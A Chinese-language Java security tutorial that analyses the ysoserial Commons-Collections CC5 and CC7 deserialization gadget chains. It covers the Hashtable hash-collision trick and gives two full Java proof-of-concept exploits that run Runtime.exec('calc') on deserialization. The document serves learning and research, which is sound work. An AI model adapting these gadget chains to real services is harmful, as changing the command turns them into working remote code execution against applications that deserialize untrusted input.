本文为JAVA安全系列文章第十六篇,学习Ysoserial中CC5 CC7这两条链,重点在于掌握理解CC7的调用逻辑以及构造哈希碰撞。
0x01 回顾
回顾下此前学的Ysoserial中CC1 CC6这两条链的Gadget:
会发现,这两条链是由不同的方法调用LazyMap.get()来触发我们的Transformer数组,从而造成RCE。当我们回溯去找谁会到get()时,会发现其实有很多:
太多虽然让人感觉难以入手,但也意味着可能的方法也会越多,CC5和CCC7其实都是去寻找其他能调用到LazyMap.get()的方法而构造出来的。
0x02 Ysoserial CC5链
一、调试简化版CC6链时发现的一个有趣问题
之前在学习简化版CC6时候,一个有趣的问题是当我们一开始传入的Transformer数组是可以弹计算器的transforms时,我们在new TiedMapEntry()处下个断点,当执行下一步时就会弹计算器:
当时就觉得一脸懵逼,这里怎么可能会弹计算器呢?后来知道,IDEA在调试时,由于要输出相关对象的信息,所以会默认调用toString()方法,也就是说此处会调用到TiedMapEntry的toString()方法。
当我去看这个方法时,恍然大悟:
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}TiedMapEntry#toString()会调用TiedMapEntry#getValue(),而getValue()又会调用map.get(),而此处的map为LazyMap对象,故而触发链子,弹出计算器。
所以在链子中先传一个人畜无害的fakeformers,不光是防止put时弹计算器,也是为了防止调试时触发toString()弹计算器造成的干扰。
二、CC5链的构造
CC5就是使用的TiedMapEntry#toString()来调用LazyMap#get()。而回溯去找谁会调用toString(),依然有很多:
这么多个类中,倘若能找到一个类,它可序列化,readObject()方法调用了toString(),且我们能控制传入相关参数为TiedMapEntry那就成了。Ysoserial给出的类是BadAttributeValueExpException,位于javax.management包中:
我们只要在创建BadAttributeValueExpException时传入val为null,再通过反射修改val为TiedMapEntry就可以了。Gadget chain:
三、POC编写
这条链很好理解,就是不知原作者是怎么找到BadAttributeValueExpException这个类的
POC如下:
public class CC5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = {new ConstantTransformer(1)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//先传入人畜无害的fakeformers避免调试时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
setFieldValue(expException,"val",tiedMapEntry);
//反射修改chainedTransformer中的iTransformers为transforms
setFieldValue(chainedTransformer,"iTransformers",transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(expException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}0x03 Ysoserial CC7链
一、反序列化入口?
由于LazyMap#get()在很多类中都会被调用,想通过逆向回溯去找到反序列化入口不太可能。
但我们可以做如下思考:
在学习简化版CC6时是使用的HashMap作为反序列化入口,Ysoserial中的CC6是使用的HahSet作为反序列化入口。
在学习JAVA SE集合时,我们知道HashSet,HashTable底层都是HashMap,既然前面用HashMap,HahSet都能作为入口,那用HashTable作为入口是否可行?我想,Ysoserial的作者在找这条链子时思路也是这样。
这里也简单介绍下HashTable:
HashTable中存放的是键值对,即key-value,key是不能重复的,它是数组+链表的结合体,如图示:
二、调用逻辑分析
到底是否可行,我们还需要详细分析一下:
(友情提示:如果想更深入理解调用逻辑,建议把HashMap,HashSet,HashTable的底层实现原理好好学习一下,这里推荐B站韩顺平老师讲集合的那一部分,之前跟着学了一遍,确实不错。)
1.HashTable#readObject()
主要还是for循环,从序列化流中读取其key和value并使用reconstitutionPut(table, key, value)方法重建HashTable。
2.HashTable#reconstitutionPut()
在反序列化时为了保证key不重复,先通过key的hashCode()方法得出hash,然后对hash进行计算得到该key在table中的索引index,其中table包含了多个Entry数组,Entry是用来存放key-value的。
再循环遍历该索引下Entry数组中的每个Entry,通过if(e.hash == hash) && e.key.equals(key)即当hash相同时,通过equals()来判断要加入的key是否已在当前hashtable中,若不在则将其加入。
看到这里我们自然会想到把key传入为LazyMap对象,看看是否可以从LazyMap#equals()走到LazyMap#get()。但我们会发现LazyMap中并没有equals()方法,其父类AbstractMapDecorator中有:
类图关系:
但此处的map.equals()我们通过ctrl+B进入到的是Map接口的equals()。那LazyMap#equals()最终是在哪呢?
我们写段代码来调试一下就知道了,既然是equals必然会有两个对象,我们写出如下demo并下断点调试:
找到其equals方法在java.util.AbstractMap中:
3.AbstractMap#equals()
此处的o看成是LazyMap对象,重点在while循环,可以看到,不管value是否为null,都会调用到get()!!!那链子不就接起来了么?
4.Gadget chain
通过上面的分析,可以得到这样一条调用链:
当然,要通过AbstractMap.equals()来调用LazyMap.get()重要的一点是:
if(e.hash == hash) && e.key.equals(key),即我们得要构造两个hash相等的HashTable$Entry,这就是哈希碰撞。
三、哈希碰撞
1.hash的计算
我们回到HashTable中看看它是怎么计算hash的:
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}其hash就是key的hashCode(),此处key为LazyMap对象。那么构造两个hash相等的HashTable$Entry的问题转化为构造两个hashCode相等的LazyMap对象。
不知你发现没有,若此处的key传入为TiedMapEntry就是CC6链了,很有趣吧~
同样,LazyMap中没有hashCode() ,其父类AbstractMapDecorator中有:
通过ctrl+B进入到的同样是Map接口的hashCode()。
同样,我们用上面的方法自己写代码来调试,看LazyMap的hashCode()究竟会怎么计算:
发现在HashMap的hashCode():
此时我们发现LazyMap的hashCode()其实就是计算其map属性的hashCode(),当这个map为HashMap对象时,就是计算其key与value的hashCode()进行异或。
此处,会动态绑定,hashCode究竟会怎么算,还要看传入的 key和value分别是什么。
此处要让hashCode()相等,那我们可以传入相同的value,不同的key,且key为String类型。那么就看String的hashCode如何计算:
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}那么构造两个hash相等的HashTable$Entry的问题进一步转换为让两个字符串的hashCode相等。
2.构造hash碰撞的LazyMap对象
h = 31 * h + val[i]其中val[]为字符串的char数组,h默认为0。
为了让问题变得简单,我们假定传入的字符串是两位字符,即此时的val[]char数组长度为2,两个字符串分别为s1,s2。则问题变为:
31*ASCII(s1[0]) + ASCII(s1[1]) = 31*ASCII(s2[0]) + ASCII(s2[1])
即31*(ASCII(s1[0])-ASCII(s2[0]))= ASCII(s2[1])-ASCII(s1[1])
我们再简化问题,让ASCII(s1[0])-ASCII(s2[0]) = 1,则就转化为
31 = ASCII(s2[1])-ASCII(s1[1])
对照ACSII码表,我们很容易可以构造出两个hashCode相等的字符串。
此处我构造的两个字符串分别为:s1="xO",s2="y0"
那么我们构造出来的两个hash碰撞的LazyMap对象是:
Map innerMap1 = new HashMap();
innerMap1.put("xO",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);四、POC编写
1.不注意踩到的一个小坑
只要构造出了两个hash碰撞的LazyMap对象,相信结合前面CC6链的POC,大家都能写出来CC7链的POC,此处我分享一个我踩的小坑,并不是每个人都会遇到。
当我信息满满的写完POC后,运行并不能弹出计算器:
原因是什么呢?是Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};和
Map innerMap1 = new HashMap();
innerMap1.put("xO",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);擦出的火花,结合前面的CC6链的分析我们都知道,当hashtable通过put将lazyMap2 添加进去的时候,会触发一次lazyMap.get(),加入一个xO=1的键值对:
此处的1来源于new ConstantTransformer(1),返回到上一层函数AbstratMap#equals()时会进行if (!value.equals(m.get(key)))的判断,此处value为1,这个1来源于innerMap1.put("xO",1),而m.get(key)也为1,两个相等,if的判断为false:
此时返回的布尔值为true:
即会判断两个键值对(lazyMap1,1)和(lazyMap2,2)的键相同,导致(lazyMap2,2)并未加入到hashtable中,且会将键lazyMap1的值改为2:
此时反序列化自然不会弹出计算器。
简单来说就是因为ConstantTransformer(1)中的1和lazyMap中hashmap的value相同了,让他们不相等就行。Ysoserial中是直接一个空数组来避免这个问题:
2.POC
public class CC7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//先传入人畜无害的fakeformers避免hashtable第二次put时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("xO",1);
Map innerMap2 = new HashMap();
innerMap2.put("y0",1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);
lazyMap2.remove("xO");
Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}运行弹计算器:
0x04 总结
本文重点有两个:
一、CC7链中从HashTable#readObject()到LazyMap#get()调用逻辑
1.HashTable反序列化时会从中读取键值对,然后使用reconstitutionPut(table, key, value)进行重建;
2.reconstitutionPut中会进行if ((e.hash == hash) && e.key.equals(key)) 判断。也即当一对键值对的hash相等时,会通过equals()比较两个key是否相等。这时若key为lazymap,则进入到lazymap的equals方法;
3.我们通过自己写代码调试,发现lazymap的equal()方法其实就是java.util.AbstractMap#equals()。此方法中会调用到m.get(key),故而调用lazyMap的get()方法,链子就接起来了。
二、关键点在于如何使得hashtable中的两对键值对,hash相同而key不同
1.通过分析发现hash其实就是键的hashcode,也即lazyMap的hashCode(),问题转化为构造两个hashCode相等的LazyMap对象;
2.通过自己写代码调试发现,当LazyMap中的map属性为HashMap对象时,其hashCode()方法就是HashMap#hashcode():return Objects.hashCode(key) ^ Objects.hashCode(value);此处,会动态绑定,hashCode究竟会怎么算,还要看传入的 key和value分别是什么。
我们传入相同的value,不同的key,且key为String类型,那么问题就进一步转化为让两个字符串的hashCode相等。
3.String的hashCode计算方法:h = 31 * h + val[i]
val为字符串的char数组,h默认为0。
假定我们传入的字符串是两位,那么两个字符串的hashCode要相等,只需:
31*(ASCII(s1[0])-ASCII(s2[0]))= ASCII(s2[1])-ASCII(s1[1])
我们再简化问题,让ASCII(s1[0])-ASCII(s2[0]) = 1,则就转化为:
31 = ASCII(s2[1])-ASCII(s1[1])
对照ACSII码表,我们很容易可以构造出两个hashCode相等的字符串,比如s1="xO",s2="y0"。也就能构造出hash相同而key不同的两对键值对了。
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~